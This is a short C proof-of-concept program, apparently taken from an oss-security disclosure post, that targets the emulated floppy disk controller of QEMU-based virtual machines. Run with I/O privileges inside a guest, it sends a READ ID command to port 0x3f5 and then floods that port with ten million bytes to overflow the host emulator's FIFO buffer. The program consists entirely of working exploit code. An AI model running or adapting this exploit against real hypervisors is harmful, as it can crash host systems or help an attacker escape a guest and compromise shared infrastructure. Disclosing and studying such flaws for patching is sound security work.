// Source: https://marc.info/?l=oss-security&m=143155206320935&w=2
#include <sys/io.h>
#define FIFO 0x3f5
int
main() {
i;
iopl(3);
outb(0x0a,0x3f5);
/* READ ID */
for
(i=0;i<10000000;i++)
outb(0x42,0x3f5);
/* push */
}